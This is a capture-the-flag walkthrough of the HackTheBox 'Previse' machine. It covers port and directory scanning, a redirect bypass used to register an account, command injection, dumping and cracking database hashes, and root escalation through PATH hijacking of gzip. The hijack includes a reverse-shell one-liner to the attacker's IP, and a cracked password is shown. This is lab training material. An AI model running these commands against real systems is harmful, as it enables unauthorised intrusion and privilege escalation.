Preface#
privise target machine, randomly selected from an htb arena, let's see if we can do it.
Arena link: 10.10.11.104
Information Gathering#
Directly access http://10.10.11.104/login.php, a login box.
Try weak passwords, universal password.
Port scanning
nmap -T4 -sC -sV -p- 10.10.11.104
fscan scanning, found two ports, 22 and 80.

Directory scanning
Use gobuster for directory scanning, other tools like ffuf and dirsearch didn't find anything.
gobuster dir -w /p12-字典收集/web漏洞/目录fuzz/directory-list-2.3-medium.txt -u http://10.10.11.104/ -x php,html,txt
The approximate results are as follows:
Look at some of the ones with a status of 200, you can see that there is a nav.php, let's visit and see, the interface is as follows:
Directly accessing these pages will redirect to login.php, but if you use burp to access, you can see the related pages.
To register an account, you need to first copy the post request package, then create a new html document, fill in the complete request link in the action, and register the user.
<form role="form" method="post" action="http://10.10.11.104/accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">

</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
Use the registered user to log in, the registered account is admin1/admin123.
Visit the http://10.10.11.104/files.php page, there is a compressed file to download and it turns out to be a source code file.
The source code is as follows:
Analyze the source code, at the logs.php, there is a command execution vulnerability.
Capture http://10.10.11.104/file_logs.php, the payload is as follows, nc listens, and get the shell.
Local IP.
Elevate to an interactive terminal.
python3 -c "import pty;pty.spawn('/bin/bash')"
In the previously backed up source code file, a database password was found.
See if you can connect to the database.
mysql -uroot -p
show databases;
use previse;
select * from accounts;
This password is an md5 password, use john to crack it.
Got the password ilovecody112235!.
ssh login with m4lwhere account, find the first flag.
Privilege Escalation#
Next, we need to escalate to the root user.
Use sudo -l to view the files running as root.
The access_backup.sh script has write and execute permissions.
The file content is:
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
This file calls the gzip command to back up logs, through this we can escalate privileges, because this script is running as root, so we just need to replace the gzip command.
cd /tmp
#vim gzip and write the following content
#/bin/bash
bash -i >& /dev/tcp/10.10.16.21/1234 0>&1
#Give permissions
chmod 777 gzip
export PATH=$(pwd):$PATH
#Then execute the script access_backup.sh
sudo /opt/scripts/access_backup.sh
Successfully bounced back to shell and obtained the flag.
